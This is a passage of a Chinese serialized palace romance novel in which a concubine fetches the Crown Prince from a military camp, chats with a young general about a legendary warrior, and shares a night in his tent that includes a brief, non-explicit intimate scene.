宋轻风不闻不问,自顾端了个椅子坐在檐下晒太阳。 日头渐渐起来,晒的人浑身暖融融的,四肢舒展。 却一直不见有人来宣她。 她倒是等困了,靠着柱子晒着秋阳睡着了。 只睡到寒意升起,暮色四起,也不见有人来…… 中秋将至,皇后娘娘为了太子殿下的婚事,特意在宫里办了场秋菊宴。 既叫皇后娘娘瞧瞧各家的贵女,也意在叫太子殿下可以亲自相看,看看是否有自己钟意的女子。 听闻除了太子正妃,还要同时立两位侧妃。 正妃之位许多人不敢肖想,可这侧妃却是可以争一争的。 何况听闻晋王殿下也要选妃了。 众贵女们早早地入了宫,打扮得花枝招展,妩媚动人。 可直到下午,菊花赏了几轮,酒水喝了好几盅,众人嘴角的笑已经僵硬,主角太子殿下都没有出现。 侍从说是今日天没亮,太子殿下便去了西郊大营,却一直未见回来。 宫中派人催请了三四回也不见回来,全福无法,只好一波一波地往西郊派出侍卫。 出去的侍卫回回都报说殿下仪驾还在西郊军营里头,未曾动身。 众人自然也不敢催驾,殿下也不见他们,只能急地在原地打转。 眼看着日头渐渐朝西,陛下身边的大总管丁德庸亲自来了。 丁德庸代表的就是陛下,他都来了,显然陛下已很是不满。 全福苦着脸求道:“烦请总管回禀陛下,太子殿下只是在西郊一时被事耽搁了,就快回来了。” 丁德庸不好说太子的不是,只是将全福臭骂了一通:“你们这些奴婢欺上瞒下胡作非为,各个都是酒囊饭袋!这宴是皇后娘娘亲自为了太子殿下主办的,太子殿下许是忘了时辰,你这做奴婢的也敢忘?便是把头磕破了,也要好生请殿下早些回来。” 全福被骂得狗血淋头,只得磕头不止,好不容易送走了丁公公,准备自己出发,便是被打死,也要求殿下早些回来。 顺意却愁眉苦脸地道:“全福公公,这里离不开您,若是宫里有了什么变故,还需您转圜一二。” 全福也是急了,拍腿怒道:“那你去?!” 顺意吓得长腿都软了,连连摆手道:“奴婢怎么敢,奴婢在太子殿下面前,莫说劝了,便是气都不敢喘上一口。” 全福急得团团转,这诺大的东宫,还有谁敢近身劝诫殿下? 他一转头,见宋轻风不知何时来了,正站在一边,踩自己的影子玩。 不由一拍大腿道:“对了!宋娘子,您去,您去求殿下回来!” 宋轻风一脚踩了个空,受了一惊道:“什……什么,我……我我?” 自打上次罚跪完,她虽然养好了之后又去了几回方华殿,可太子殿下可是再也没理过她。 甚至连个眼神都没施舍给她。 她而今就妥妥一失宠的小透明啊。 全福却不管道:“殿下若是还不回来,您就赖在那里也别回来了!” 宋轻风不确定地道:“只怕我连殿下的面都未必见得着吧?” 全福却不这样认为:“天色将晚,眼见着寒气上来了,您就说去与殿下送衣裳,大营也没人敢拦你。” 说着自顾吩咐人给她准备马车,即刻出发去西郊。 “可是膳堂快要放饭了,能不能等吃完再想……” 宋轻风还没说完,已被一把塞进了马车里,“啪嗒”一声,身旁已被扔进来了两卷东西。 车夫一声暴喝,马车飞驰而出。 宋轻风被贴在了车壁上。 全福的声音透过车帘鬼鬼祟祟地传了过来:“实在不行您就哭天抹泪,保管叫殿下心软……” 宋轻风好不容易把自己从车厢壁上扣出来,掀开车帘,全福成了一个小点落在身后。 他实在胡扯,她就算哭破天去,凭太子对自己的态度,不罚就不错了,怎么会有丝毫心软。 车旁还跟着好几个侍卫,马蹄阵阵,威风凛凛。路上匆忙略过路人敬畏的目光。 车帘在风吹之下猎猎作响。 半年多前,她乘着宁安侯府的马车来了京师,那时候的马似乎上了年纪,走起来咯吱咯吱,慢慢悠悠。 哪像这个,一路人人避之,风驰电掣。 她手伸旁边一摸,发现一卷是衣物,一卷却馨香扑鼻,是糕点! 马车行得虽快却稳,她在车内大快朵颐,也算潇洒。 一行人疾驰了不知多久,却见原来空旷的远处突然出现一片深山一般的阴影。 西山大营成片的灰褐色的行营越来越清晰。 还未靠近,已从那方向奔来一队人马。 宋轻风吃饱了,被车颠得半睡半醒,此刻听到纷乱的马蹄声响,心中一惊。 却见行来的那群人马很快到了近前,全副黑铁甲胄,连带着骑的马都甲片敷面,扑面的威严肃穆。 看这打扮,该是大营里的官兵。 当先一佐领勒停坐骑,一双眼飞速扫过这车及周边侍卫的装扮,冷硬的脸才松动了下来,在马上抱拳道:“是东宫来人吗?敢问车内是何人?” 车旁一侍卫拍马上前道:“我等乃东宫卫,车内乃是太子殿下的……人,宋娘子。” 听到宋娘子几个字,他显然愣了愣才道:“太子殿下已有令,非十万火急之事不得前来打扰,诸位请回吧。” 眼见着大营还没瞧见,就要被撵走,宋轻风忙掀开车帘,露出一双眼睛来道:“这位将军,天凉了,我来与殿下送几件御寒的衣物,殿下的衣物一向由我打理的,什么温度该穿什么都由我来定,若是因穿的不及时叫殿下染了风寒,那罪过可就大了。” 这话一路上翻来覆去排练了半日,说完有些心虚,又拿车帘遮住了一半眼睛。 殿下的衣物确实是她打理的,只是殿下穿什么,她可一向说了不算。 对面几人显然犹豫了片刻,佐领想了想,到底不敢耽搁,让开路道:“宋娘子请随我等来。” 这全福说的不错,果然这些人不敢拦她。 有这佐领带路,进军营倒是顺畅了许多。 自进了军营,空气里似乎都是汗味,和铁血的兵戈之气。 周围许多人,站岗的,巡逻的,各个全副武装,秩序井然。 宋轻风掀开车帘自己跳下车来,那佐领将腰背绷得笔挺,浑身的盔甲铿然做响,他眼睛看也不敢往她看一眼,目视前方道:“宋娘子请下车。” 宋轻风道:“我已下车了。” 就站你面前呢。 虽然矮了点只到了你的胸口,也不带这般打击人的。 那佐领黝红的面色一红,他并非故意打击人,只是面前的是太子殿下的女人,他自然是看也不敢看的,只是将头侧过去,行礼道:“宋娘子先去营帐等候,小人前去通禀太子殿下。” 宋轻风想要说不,却听一旁突然有人呼喝一声道:“哎呦,哪里来的小娘子!” 她转目还没瞧见,那佐领已是一棍子打了过去,呵斥道:“混帐东西,这是太子殿下的女人。” 他身形高大,声如洪钟,震得地上的泥都抖了抖。 那人面色一白,慌忙退到一旁连连行礼:“得罪了,得罪了,小人眼神不好,未瞧清。” 宋轻风抱着衣物,缩着脑袋。 只是眼见着太阳就剩最后一丝余晖,再一会就要落山了。 军营不远处突然传来叮咚叮咚的声音,她转头一瞧,瞧见不远处一队黑压压的人,全身裹在厚重如墨一般的铠甲之中,脸上却还戴着狰狞的面具,手中挂着的铁链叮当作响。 在这夕阳黄昏之中,像是出没的野兽,凶猛恐怖。 看到这些人的一瞬间,宋轻风忍不住头皮发炸,双眼发懵,腿肚子都有些打抖,不知为何自内而外感到一股寒气从心头升腾而起,转到四肢百骸。 佐领见她吓得脸都白了,像一只受惊炸毛的猫一般,倒是见怪不怪。 这是西山令人闻风丧胆的虎翼军,也是西山大营的扛把子,普通人见了都发怵,何况是个小姑娘。 宋轻风还没从眩晕里回过神来,却见那面具人里跳出来一个人,一步蹦到她的面前:“哎呦,哪里来的小娘子!” 那青面獠牙的铁面面具陡然放大到了自己面前,宋轻风吓得一屁股坐在了地上。 领事方要怒骂,却见那面具人扯开面具,露出一张白皙英俊的脸来。 他收了棍子,忙躬身行礼道:“云将军。” 这个云将军拿下面具,伸手来于宋轻风道:“小姑娘胆子这么小,不好意思吓到你了。” 宋轻风坐在地上,抬头看,见这人一身黑色铠甲,面具之后倒是个年轻人,面容俊美,红唇俨然,一双上挑的凤眼,与森冷的铠甲格格不入。 似乎他该穿的,该是长袖轻衫,玉带缓袍。 旁边的佐领见他伸手要扶地上的姑娘,拼命使眼色,却没人搭理,眼见着宋轻风就要就着云将军的手爬起身来。 只好补充道:“这是东宫来的,太子殿下的,咳咳……” 还没说完,可惜这女子已经拉住了云将军的手,起身来了。 佐领双目紧闭,身型更加笔挺。 哪知云将军没急着避嫌,反而离得更近了:“哎呦!原来你就是那个敢往太子殿下身上扑的凶猛女子!” “啧啧,瞧这模样,宋怀德那个矮窝瓜居然生出这么个美人胚子来。只是怎么身子板豆芽菜一样,还没长大啊,这胆子,瞧着也不大的样子啊。” 宋轻风缩着脖子,只将一颗脑袋埋在包裹上头,哪里是胆子不大,简直吓得想躲起来。 她余光瞧见他手中的面具,还忍不住心跳加速。 云将军早看出这姑娘对这铁面具心存惧意,遂随手将面具递给了身旁的副官。 “你是谁?”宋轻风问道。 “我是云将军。” “你能带我去见太子殿下吗?” 云逍看向她手中的包裹道:“哎哟,这是给太子殿下送衣裳来了,果然有了女人就是不一样啊,连来趟军营都黏糊糊地跟过来了。” “云逍!”远处传来一道冷冽的声音,“再胡说,孤封了你的嘴。” 云逍脖子一缩,忙笑嘻嘻地上前行礼道:“太子殿下,臣不敢了。” 李岏走上前来,双目自宋轻风的手上一扫而过,高大的身影投下一片阴影,将她整个笼罩在里面。 宋轻风瞧见来人,欣喜地跑上前去。 “太子殿下!” 他一身银色戎装,银甲在夕阳光下闪着刺目的寒光,脚上蹬着一双黑色的鹿皮靴,紧紧裹着修长的小腿。 是她全然未曾瞧见过的模样。 威严凛冽,将他素日里文弱的气息扫了干净。 宋轻风一时瞧得入来神。 云逍见这女子满目里只有殿下一人,心中暗道,居然是个痴情种。 李岏习惯性方要出言训斥,却见她目中欣喜地看着自己,脸颊上出现浅浅的梨涡,要出口的话咽了下去,转而冷冰冰地道:“你怎么在这里?这不是你该来的地方,回去。” 宋轻风忙要举起衣裳来,却见他额上全是汗,浑身似乎都蒸腾着热气,说来送御寒衣实在有点说不出口。 只好实话实说道:“太子殿下您早点回去吧,宫里已经派了好几波人来了,说是有个宴席等着您去吃呢。” 李岏仿若未闻,略过她,大步向前走去。 宋轻风惦记着此来的任务,还记得出发前全福眼泪汪汪,只好硬着头皮追上前去道:“天就要黑了,马上京师就要宵禁,到时候就进不去了,宫里一直等不到您,那就惨了。” “哦?”李岏停下脚步,双目中冷意凌然,“怎么个惨法?” 一旁云逍忍不住大写的佩服,一时怀疑您这姑娘是劝殿下回去还是想让他老人家不回去啊。 殿下这人,那就是犟毛驴,要顺着撸啊。 宋轻风也不知道怎么个惨法。 那些人左一趟右一趟,她其实也不知道个中详情,只知道宫里办了个菊花宴,等着殿下去吃宴呢。 她想了想道:“您不去,宴席开不了,宴席开不了,参加宴会的人都吃不上饭了,还不惨吗?” 云逍脚步一阵踉跄,在心中忍不住竖起大拇指,高,果然是高。 李岏低头,居高临下地看着她,见她一本正经,也认真地看着他,只是唇角似乎还沾着糕饼屑。 他心中一时堵住了,竟不知要如何接下去。 好一会才道:“你脑子里除了吃饭,还有什么?” 宋轻风看着他道:“还有您啊。” 云逍还没站稳的脚步瞬间又将自己绊住了,心道,完了,完了,这回真完了。 殿下没救了! 李岏脸色青一阵白一阵,咬牙道:“云逍,这地上乱放的是什么,不知道要打扫干净吗!” 云逍无端受了牵连,只得道:“是,臣这就派人来收拾。” 宋轻风见他转身要进帐,想起来前全福抓着她哭得眼泪一把鼻涕一把,说全东宫的小命都系在她身上了。 只好硬着头皮死缠烂打:“殿下,天快要黑了,您还是早些动身吧?” 和她一起来的东宫卫也上前出言道:“太子殿下,臣已将车驾备好,只等您登车了。” 李岏停下脚步,侧目与那东宫卫道:“你都替孤安排好了?” 那东宫卫浑身一颤,扑地跪倒在地,却不敢分辩分毫。 周围众人也都跟着跪倒在地,眼见着场面寂寂,无人再敢开口。 宋轻风突然想起全福临来前说的“哭天抹泪”的话,只好死马当活马医,用力掐了自己一把,挤出了一滴眼泪来。 李岏见她缩在一团,吓得眼泪都出来了,不由停住了脚步。 宋轻风做势抹了抹眼泪可怜巴巴地道:“太子殿下。” 李岏心口一窒,好半晌才出言道:“孤方才受伤了,要在此养伤。” “什么!” 云逍和宋轻风同时惊道。 云逍反应最快,一步冲上前去叫道:“太子殿下祖宗爷爷,您可别吓我,您哪里受伤了!快!还傻站着干什么!快去传大夫啊!将军营里的大夫都抓过来!” 他踢了左右官兵,嗓子嚎得周围的人都吓得不知所措。 一时兵荒马乱。 众人簇拥着李岏进了营帐,高守带着东宫卫和虎翼军,瞬间将营帐围得水泄不通。 李岏方坐下来,大夫已经连滚带爬地到了。 四五个大夫围上前来,宋轻风好不容易在众人之间挤了个空隙,塞进了脑袋。 当着一众大夫的面,李岏慢慢伸出手来。 众人寻了半天,终于在他右手手背上,发现了一个比苍蝇腿长不了多少的一道口子,上面冒了一粒血珠子…… 几位大夫拼命擦着额上的汗,庆幸自己方才跑得快,否则慢上一点这伤口就要愈合了! 云逍跪在一旁,攀住桌子腿死命嚎哭道:“太子殿下,您玉体娇贵,在这西山大营,别说居然见了血,就是掉了根头发丝,臣也万死难交代啊!” 而李岏低着头冷脸也不说话,任由大夫上药包扎。 不一时,却感到众人群里有一颗黑黑的脑袋。 微抬头果然瞧见宋轻风挤在众人之间,一双溜圆的眼睛看着他的手。 李岏蓦然感到一丝尴尬,咳嗽一声没好气地道:“好了!别嚎了!孤还没死呢。” 话音一落,云逍立马闭了嘴,笑嘻嘻地道:“臣这就给您收拾营帐,让您在此养伤,这么远赶回去,别把伤口颠簸得裂开了。” “是啊,”老大夫连连附和道,“殿下这伤要好生静养,万不能受车马颠簸之苦。” 宋轻风抖了抖,缩回了脑袋。 上完了药,李岏挥退众人,抬眉与宋轻风道:“回去交差吧。” 宋轻风道:“是,殿下放心,方才妾已叫跟着的侍卫回去复命了。” “那你怎么还在?” “殿下受伤了,妾留下伺候您。” “谁许你留下来?” 一旁云逍见状,忙上前道:“殿下息怒啊!您今夜留宿在此,臣战战兢兢,这才央求着娘子留下来的,娘子毕竟是殿下的人,照顾您更细致一些。这军营里头,能陪殿下骑马射箭练武的比比皆是,只是要照顾生活起居,没一个拿得出手。” 宋轻风心虚地连连点头。 她不敢说其实自己也不怎么拿得出手…… 好在高守常陪着殿下在外头跑,更衣吃饭什么的伺候得很是顺手。 宋轻风不过是摆个样子。 终于等着殿下进去沐浴之机,云逍再也忍不住心痒,拉着她蹲在外头的角落里咬耳朵。 快近中秋,天上的月亮格外的圆,撒下满地清晖。 大营里头四处铺着月色,竟令人格外的心安。 云逍迫不及待掏出怀里的纸笔来道:“宋娘子,我可总算见着你了!你不知道这些日子我在这吃不香睡不好。您可千万要给我留个字!” 宋轻风看着送到自己面前的硕大的白纸,有些疑惑地道:“留什么字?留字做什么?” 云逍跳起来道:“怎么!难道你不知道你现在可是整个京师的大名人!所有人都在讨论你!大名人的字我自然要留!” 什么?大名人? 宋轻风在东宫闷了近两个多月,不知道自己如今居然还是上京城里茶余饭后的最热谈资。 她不好意思地扯了扯衣角道:“我在这谁也不认识,怎么就名人了?” “天!你当着这么多人就敢往殿下身上撞!那可是太子殿下!一般人见了就吓得两腿发抖的太子殿下!可惜那场宫宴我居然不在,实在太可惜了!!” 云逍连连拍大腿,大腿都快拍肿了,恨不能时光倒流叫他也凑上一份热闹。 “你说,你为何会这般胆子大,不怕把命丢了吗?” 宋轻风淡淡地道:“为了能靠近殿下,都值得。” “啧啧啧,”云逍见她一脸认真,忍不住道,“你说说,你喜欢太子殿下什么?” “自然是他的相貌。” 云逍呃了一声,属实没想到,却又有些不服气道:“论样貌,你觉得本公子长得如何?” 营帐挂着的灯笼在风中摇曳。 照得云逍唇红齿白,顾盼神飞,一双凤眼风流万种。 论样貌,太子殿下俊美,却常常冷着脸,带着迫人的威压,叫人不敢多看,可云逍,一身的艳丽逼人,只是颌下青须长了出来,才淡化了这一身有些女相的美,却还是叫人移不开眼。 宋轻风由衷地赞叹道:“都说京师出美人,你竟是我见过的最美的。” 云逍得意莫名,摸了摸自己下巴上的青茬道:“若不是为了在军营里头有些威信,早将这胡渣子剃掉,你不知本公子当年,就是往那桥上一站,满京师的女子,都走不动道!” 说完他又转了惆怅:“可是怎么就没有女孩子也愿意这样喜欢我呢?” “你长得这么美,肯定招女孩子喜欢的。” 宋轻风看着他的样貌,愈发入了神。 他笑起来的样子,当真是热烈璀璨,令人移不开目光。 就像兰哥哥。 云逍噼里啪啦说道:“听闻你是年中才被宁安侯府从外头找回来的?” “嗯。” “以前在哪里过活?” 宋轻风看着他的脸道:“在彩云镇,那是西北的一个小镇,估计你没听过。” 云逍自然没听过,却激动地道:“西北的小镇!那你一定知道镇北军!你一定见过镇北军!!” 宋轻风摇头道:“什么镇北军?未曾听过。” 云逍恨铁不成钢,咬牙道:“苍天大老爷,镇北军你都不知道!你在西北居然连镇北军都不知道!你你你!那你知道白马战神吗!” “白马战神?”宋轻风歪头想了一会,点头道,“好像有些耳熟,似乎听说过。” 云逍蹲得腿麻了,干脆一屁股坐在地上,看着天上的大月亮道:“白马战神就是我的神!他在我心中就像这天上的月亮,是我一辈子的梦想啊!” 宋轻风道:“他很厉害?” “厉害?何止是厉害!那可是一人可挡千军万马!是天神下凡!遥想当年,他统帅着镇北军守我大雍万里边境,他的名字一出,就可叫整个北戎闻风丧胆,秋毫不敢犯。” “我少时曾有幸在宫里见过那白马风姿,意气风发,实在令人神往。我来这西山大营,就是渴望有一天,能像他一样,驰骋疆场,以一敌万!” 云逍的眸子里倒映着月光,闪闪发亮。 “白马战神?”宋轻风喃喃念道,“他现在还在镇北军吗?” 云逍叹息了一声道:“唉,自然早就不在了,已过世多年了。” “啊,”宋轻风有些遗憾地叹口气。 云逍看着天上道:“当年他夺了北戎的镇国之宝,回了京师,不想却被北戎暗探追索至此刺杀了。” 宋轻风一愣,转过脸道:“镇国之宝?” “恩,就是一块破玉,镇国玉玺。这镇国玉玺在北戎,好比就是皇位保证,谁得了谁就能得北戎,这不北戎那帮老小子,没了这块破玉,现在还为了皇位争得不可开交呢!” 宋轻风挪动了一下蹲得发麻的腿道:“那镇国玉玺现在哪里?” 云逍耸肩道:“不知道,白马战神原是准备进宫献宝,不想被刺杀之后,这玉玺也一块消失了。” 说完他压低声音道:“不过听说后来寻到了,在宫里最安全的地方供着呢,反正北戎人是休想拿到了。” 宋轻风索性也一屁股坐在地上,从衣角下挂着的荷包里掏摸了一会,摸出个糖来又塞了回去,最后从里面摸出个最小的糖来。 她将糖递给云逍道:“我瞧着你笑起来这么好看,说的又有意思,我喜欢你这样的,请你吃糖。” 云逍毫不客气,一把将糖扔进嘴里,嘎嘣嘎嘣地咬碎了一口咽了下去。 转头却见宋轻风捏了一颗含在嘴里,腮帮子鼓了起来,一脸的满足开心—— 作者有话说:她哭了,她哭了?怎么办! 李岏偷偷伸进袖子里,指甲一划拉,划了一道苍蝇腿般的伤口。 这下她可以交差了吧!! 晚安~ 评论区给大家发红包 第28章 第 28 章 中道崩殂 宋轻风含着糖:“既然如此, 那你为何来这西山大营,不去镇北军?” “唉,”云逍的眸子突然暗淡下来, “白马战神已去世好几年了,镇北军里只有他的传说。况且,况且我家那老爷子, 死活不让我出京, 就是来这西山大营,还是靠太子殿下出面, 老爷子才松了口!” “唉,你不知道,我家老爷子, 那可是个鬼见愁……” “他老人家发起火来, 便是我都只能缩着脑袋当乌龟……” 李岏沐浴完,天色已黑了,他踏出营帐,便见到角落里一高一矮两个身影, 蹲在一块咬耳朵。 风灯飘摇, 照在她的脸上。 照见她咯吱咯吱地笑个不停,肩膀止不住地颤抖,嘴角的酒窝若隐若现。 而一旁的云逍, 更是神采飞扬,大放厥词。 他转身复又进了营帐。 过了一会, 两人正聊得欢快, 突然听到身后传来脚步声。 转过头来,却见高守站在身后。 他生得魁梧,便是微微躬身, 也如大树一般站着,对宋轻风道:“宋娘子,太子殿下吩咐,娘子既来了,今夜侍寝。” 宋轻风不情不愿地和云逍道别,沐浴完,在门口深吸了好几口气,才埋头进到营帐内间。 却见太子已着白色内衣,正倚靠在床头看书。 床头点着两盏细烛,亮光较一般的烛火亮些,只是照亮的区域却更小了一些。 刚刚好照在他的身体和手中的书上。 四周愈发显得漆黑,将光晕中的人照得白得发光,只有袖口的云纹淡淡闪着流光。 他低垂着眼眸,长眉如烟,却面无表情,即便听到有人进来了,眼皮都未抬一下。 宋轻风脑袋纷乱,一时忘了之前学的,这侍寝是该自己爬到床上去,还是等着他的吩咐,叫她爬到床上去。 等了一会,见他不理,只好蹑手蹑脚地走到床边,不想脚下突然一绊,险些摔倒。 响动声大了些,李岏合上书,掀起了眼皮看了她一眼,发现她长发披散,露出巴掌大的笑脸,脸颊透着粉,愈发显出一双眼睛又黑又圆。 只是却穿得整整齐齐,一套藕荷色宫装裹得严实。腰间挂着的香囊,依旧鼓鼓囊囊。 宋轻风感到他的目光在自己身上一扫而过,不安地扯了扯衣摆道:“来得匆忙,未带换洗衣裳……” 说完见他倚靠在床上,上身披着一件白底洒金的披风,里头分明只着一件里衣,下半身被一床薄被盖着。 不知穿了什么没有。 她忍不住心脏咚咚乱跳。 当即动手扯了自己的腰带,外裳滑落下来,露出内里杏色底衣,其实说来这事本该驾轻就熟,可还是忍不住手指发颤。 她走上前一步,直站在床边道:“太子殿下。” 李岏一眼瞧见她小小的身体,玲珑的曲线,在烛火余光中若隐若现,他感到喉头发干,移开了目光。 "你很闲?" “什么?”宋轻风疑惑道。 “可知自己是来做什么的?” 宋轻风想了想道:“效忠殿下的。” “……” 有这样效忠的吗? 此情此景说出这样的话,难免不叫人想入非非,李岏闭了闭眼淡淡道:“地上是你的被褥。” 说着袖子一挥,竟将烛火灭了。 屋内立时陷入了黑暗之中,只有远处一只小小的白烛燃着,露出一点小小的微弱亮光。 宋轻风摸索着,果然摸到了地上铺好了被褥。 她等了等,见床上已没了动静,似乎听到他均匀的呼吸声,这才钻进被子里。 原来叫她来侍寝,是叫她来守夜。 这高守,话也不说清楚点,害得她方才白白紧张了半晌,想到自己方才的举动,忍不住脸颊滚烫,丢人! 可是这是她第一次给太子殿下守夜。 漫漫长夜,她终于可以一直一直没有顾忌地靠近他的身边。 营帐里头,燃着的冷香,叫她咚咚跳着的心,慢慢沉寂下来。 她渐渐适应黑暗,就着远处烛火的微光看向紧闭的床帘,似乎瞧见床上的人,那熟悉又陌生的容颜。 不曾想,李岏烦躁了一会,却出奇地睡了个好觉。 直到夜里突然被饿醒过来。 白日里没有胃口,不过随意吃了几口。 哪知这半夜三更,就开始饿得心中空空,腹内咆哮,仿佛能吃下一头牛。 他仰面闭目,在榻上忍了一会,到底忍不住,盯着黑漆漆的帐顶出声唤道:“来人。” 无人应声。 等了一会,居然还未有动静,李岏一时心中闪过不悦,又道:“来人。” 终于听到窸窸窣窣地声音传来,不一时,听到一个女子略显沙哑的嗓音:“太子殿下,您有什么吩咐?” 李岏一愣,才想起来今夜是她守夜。 一盏豆大的烛火被点燃,映在床帘子上,照见那个女子纤细的身影。 他想起睡前看到的景象,心中一紧,从床上坐起,隔着帘子道:“孤饿了。” 宋轻风有些发蒙,这半夜三更地喊饿了?这人生地不熟,她去哪里给他弄吃的? “妾去外头问问,可能给您烧点。” 李岏却已开口了:“梨花木几上备着一碟子点心,你去取来。” 宋轻风举着小蜡烛,果然在昏黄的角落里头,找到了一盒子,打开里头果然摆放整齐一碟子点心。 居然还是温的。 她端了点心,准备从床帐的缝隙里递进去。 却见李岏一只手已撩开床帐。 宋轻风见他一身白色里衣松散,肩头已有些滑落,露出精致的锁骨,那锁骨在烛火下白的像是羊脂玉石一般。 又黑又亮的长发完全铺散开来,有些在胸前,有些在耳后。 因为刚睡醒,面颊上泛着粉,整个人少了许多白日的冷漠和凌厉,多了一丝少年人的慵懒和随意。 这时的他,与记忆里的人愈发的相像。 宋轻风原本半夜被吵醒的一丝不悦荡然无存,半点脾气也没有了。 连言语都温软下来:“太子殿下,这是点心,您慢点用。” 烛火照进来,李岏下意识眼睛眯了眯,便见这女子一双眼睛闪着烛火的光,飘忽地看着自己。 他蓦然想起那夜,她说喜欢他,那时候看着自己的眼神也是这般。 她说的,或许有几分是真的。 真是个痴人。 她对他的感情,终归不过是镜花水月,痴人说梦罢了。 李岏衣衫半解,也从不知遮掩,此刻也不想斥责这女子无礼,只是看着她道:“你准备就这样让孤进膳?” 宋轻风看了看,在床上用糕点,似乎确实不太妥当,遂道:“要不您下床来,坐桌子边用?” 许是夜深人静,李岏诧异自己居然没有发脾气,反而平心静气地扬声道:“高守。” 外头立时有人应答道:“属下在。” 而后却见他推门而入。 高守低垂着眉眼,余光瞧见宋娘子手中的点心,立时去取了茶几上水和口盂来,而后跪在床边。 李岏就着水来来回回漱了几回,又将手仔仔细细洗净了,而后高守又搬了一只很是小巧玲珑的茶几放在床边。 这才挥手叫他退下。 大半夜饿了吃些糕点,也弄得这般阵仗。 宋轻风一时有些无语,站在一旁,见他拿起一块绿色点心细嚼慢咽,愣是吃了半晌。 这糕点也不知是什么做的,看起来造型别致,闻起来清香扑鼻,这香味叫她忍不住咽了咽口水。 只是没想到此刻夜深人静,这咕嘟声实在有些突兀。 宋轻风一惊,忙埋下头去。 却听李岏道:“拿去。” 她诧异地抬头,见他的意思果然是叫自己也吃,她不好意思了一下,当即取了一块瞧起来最大最好吃的玫瑰红酥。 果然入口绵软却是咸口的,外酥里绵,是从未吃过的美味。 夜里进食,本就不合养身之道,李岏吃了一块,抵住了腹中饥饿便做罢了。 抬眼却见宋轻风右手拿着拳头大的玫瑰酥,一口咬掉了半边,嘴巴塞得像仓鼠一般动着,左手却捧在下巴下面接着。 不过再一口,那糕点被送进了她的肚子吃了精光,而后又将左手接着的碎屑全都一点不落地倒进了嘴里。 李岏从未想过这普通的糕点竟这般好吃的模样,忍不住指尖痒了痒。 宋轻风也从未吃过这般好吃的糕点,意犹未尽,犹犹豫豫地又伸出手去。 哪知李岏却将碟子往旁边一挪道:“这是孤的,你吃一只已是僭越了。” 宋轻风无法,只好收了手,耷拉了脑袋。 李岏见状,皱了眉心道:“孤谅你一路辛劳,再赏你一个。” 宋轻风抬头笑道:“好耶。” 说着忙急吼吼去拿那只绿色的,谁知太过激动,一时手滑居然落了地。 她眼疾手快,低下身忙从黑漆漆的地上摸索着捡了,吹了吹气就要送进嘴里。 “你做什么!” 李岏见状,从床上起身一把扯过她的胳膊。 他是男子,力道太大,竟将她拽倒在床上,生生压在了他的身上。 两人皆穿着单薄的里衣,肌肤相触之间,滚烫如火。 床上的小桌案在这番动作之下滚落到了地上,扑通一声,案上的糕点碟子也倾倒在地。 好在地上铺着层绒毯,碟子只是发出一声闷响,里头的糕点洒了一地。 宋轻风陡然看到近在咫尺的脸,看清了这眉眼,也看清了眼角下的那粒小痣。 她心思涌动,下意识紧紧抱住了他,将脸搁在了他的胸口小声呢喃道:“兰哥哥。” 李岏感到她颤抖的胳膊环绕了自己,紧紧勒住了自己的腰身。 小小的耳廓,在烛火下红得如透明的一般。 少女特别的体香扑鼻而来,触手的肌肤竟叫他觉得如云朵一般轻盈而绵软。 他的身体比意识先行一步,抢先热了起来,一股暖流涌动。 李岏身体一用力,翻身将她压在身下。 他摸索着,扯开身下人的衣裳,她一动不动任由他动作,只是双目迷蒙地看着自己,里头闪着千万繁星一般,涌动着的感情叫他心中咯噔一声。 他浑身发热,满头是汗,力气也大得惊人。 宋轻风忍不住轻叫出声。 只是突然想到这是军营,外头不过几步之外就站满了人。 她忍不住浑身一红,死死咬住唇。 李岏见她锁着眉,双眸中水光潋滟,不由停了停,好一会张口道:“若你能一直安分守己,即便孤娶了太子妃,也会护你平安,过几年若是有了子嗣,虽然正妃之位不能,但是……” 宋轻风双目陡然睁大:“子嗣?” 李岏见她这般激动,点头道:“是。” 宋轻风却陡然撑出一只手来抵住了他的胸口,双腿收了收,叫他前进不能。 他动作受阻,不由一愣道:“打开点。” 哪知宋轻风不但没有照做,反而变本加厉,不知死活地生生将他推了出去。 李岏不由目瞪口呆。 在这事上,她一向是乖巧听话,对他言听计从,今日居然这般? 还未开口,却见宋轻风一双黑眸双目环顾,颤巍巍地问道:“这里是军营,那这里有避子汤吗?” “避子汤?”原来她在担心这个。 “这里自然没有,”李岏道,“待天亮回京之后……” 哪知还未说完,身下的人却双手彻底推开他,鲤鱼一般一骨碌翻转到了旁边道:“那可不成,这样至少耽搁好几个时辰,谁知道还有没有用!” 李岏不想做事做到一半,人却跑了,一时不上不下,心里如点了炮仗一般震天作响,浑身的血气反涌上脑。 白玉的面颊顿时红成一片,冲天恶火。 哪知那女子完全没感觉到自己在玩火,却哆哆嗦嗦摸索衣裳要穿—— 作者有话说:李岏:云逍,吐出来! 云逍:吐……吐什么? 李岏:我老婆给的糖!我都没有吃过!! 我也半道崩殂了[爆哭]改改改 评论区给大家发红包~[比心] 第29章 第 29 章 同寝 李岏咬牙本想好生教训她, 可看她颤巍巍模样,一时却住了口。 许是之前给她规矩太过,就怕成这般模样。 他耐住性子道:“若是真有了, 只要孤不说什么,没人敢有意见。” 原以为她会欢喜雀跃地跑过来,哪知这胆大包天的女子却自顾穿好衣裳翻下了床, 自己跑到隔壁去了。 只听得哗啦哗啦的水响, 不知多久她又缩着脑袋跑回来,便钻进地上的被窝里。 连脑袋都埋了进去, 只给自己露出一小截黑发。 而后闷闷的声音从被窝里传出来:“殿下早些休息,睡了。” 李岏一时呆在了当场。 他咬了咬牙,也翻身进被窝, 然而浑身的热血起来容易, 想凉下去,又岂是易事? 他躺在床上,连脑袋都开始一阵阵犯疼,浑身猫爪一般的难受。 只是他自许定力惊人, 愣是躺着一动不动。 不知过了多久, 却听一阵嘻嘻索索地声音。 他睁眼看去,却隐约瞧见被窝里伸出一只弱白的小手,正偷偷摸摸将地上散落的糕点捡到被窝里去 方才就是她要去捡地上的糕点来吃, 才造成了如今的局面! 李岏越想越气,气血翻涌, 哗地坐了起来, 皱眉道:“这些还捡来做什么!” 闻言宋轻风的被窝动了动,一双黑眼睛露出来,分明隐约瞧见底下腮帮子鼓鼓的, 还在动来动去。 “” 李岏眉心跳动,咬牙道:“地上捡的,你吃了?” 宋轻风好似咽下了最后一口,这才将自己的脑袋扒拉出来,有些心虚地道:“额,殿下方才不是允我吃了么?” 说着目光飞快地对着散落在远处的扫了一眼。 你! “落在地上的你也吃?” 宋轻风摆手道:“没事没事,我掸了掸的。” 冥顽不灵! 李岏懒得再与她多说,摆手道:“随你。” 